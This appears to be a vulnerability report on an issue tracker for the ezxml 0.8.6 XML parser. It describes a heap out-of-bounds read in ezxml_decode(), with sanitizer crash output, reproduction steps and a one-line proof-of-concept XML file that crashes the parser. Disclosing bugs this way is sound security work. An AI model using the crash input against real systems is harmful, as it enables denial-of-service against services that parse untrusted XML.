Out-of-bounds read in ezxml_decode() leading to heap corruption
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#29 Out-of-bounds read in ezxml_decode() leading to heap corruption
Version 0.8.6 and CVEs that have been patched
Out-of-bounds read in strchr of ezxml_decode() [ezxml.c:198:25]
if (ent[b++]) { // found a match
if ((c = strlen(ent[b])) - 1 > (e = strchr(s, ';')) - s) {
l = (d = (s - r)) + c + strlen(e); // new length
r = (r == m) ? strcpy(malloc(l), r) : realloc(r, l);
e = strchr((s = r + d), ';'); // out-of-bounds read
}
May cause DOS attack
Crash Info
./ezxmltest ../poc/ezxml-poc.xml =================================================================
==2357578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000021 at pc 0x000000430ff4 bp 0x7ffc963072b0 sp 0x7ffc96306a70
READ of size 7 at 0x603000000021 thread T0
#0 0x430ff3 in strchr (/home/migraine/下载/ezxml/ezxmltest+0x430ff3)
#1 0x4cc6e7 in ezxml_decode /home/migraine/下载/ezxml/ezxml.c:198:25
#2 0x4cdb26 in ezxml_char_content /home/migraine/下载/ezxml/ezxml.c:242:22
#3 0x4d607b in ezxml_parse_str /home/migraine/下载/ezxml/ezxml.c:592:21
#4 0x4d7d5d in ezxml_parse_fd /home/migraine/下载/ezxml/ezxml.c:642:30
#5 0x4e0192 in ezxml_parse_file /home/migraine/下载/ezxml/ezxml.c:660:19
#6 0x4e0192 in main /home/migraine/下载/ezxml/ezxml.c:1009:11
#7 0x7fde60920564 in __libc_start_main csu/../csu/libc-start.c:332:16
#8 0x41c33d in _start (/home/migraine/下载/ezxml/ezxmltest+0x41c33d)
0x603000000021 is located 0 bytes to the right of 17-byte region [0x603000000010,0x603000000021)
allocated by thread T0 here:
#0 0x49759d in malloc (/home/migraine/下载/ezxml/ezxmltest+0x49759d)
#1 0x4cc683 in ezxml_decode /home/migraine/下载/ezxml/ezxml.c:197:43
#2 0x4cdb26 in ezxml_char_content /home/migraine/下载/ezxml/ezxml.c:242:22
#3 0x4d7d5d in ezxml_parse_fd /home/migraine/下载/ezxml/ezxml.c:642:30
#4 0x4e0192 in ezxml_parse_file /home/migraine/下载/ezxml/ezxml.c:660:19
#5 0x4e0192 in main /home/migraine/下载/ezxml/ezxml.c:1009:11
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/migraine/下载/ezxml/ezxmltest+0x430ff3) in strchr
Shadow bytes around the buggy address:
0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[01]fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2357578==ABORTING
Turning off ASAN can still trigger a segment fault
$ gdb -q ./ezxmltest
(gdb) r ../ezxml-poc.xml
Starting program: /home/migraine/下载/poc/ezxml/ezxmltest ../ezxml-poc.xml
Program received signal SIGSEGV, Segmentation fault.
How to Crash
Download ezxml from https://sourceforge.net/p/ezxml
cd ezxml
AFL_USE_ASAN=1 make test CC=afl-clang CXX=afl-clang++ #compile with ASAN
or make test #compile normal
./ezxmltest ezxml-poc.xml
POC
ezxml-poc.xml
<e>�<</e>>>
is this same algorithm in delta executor?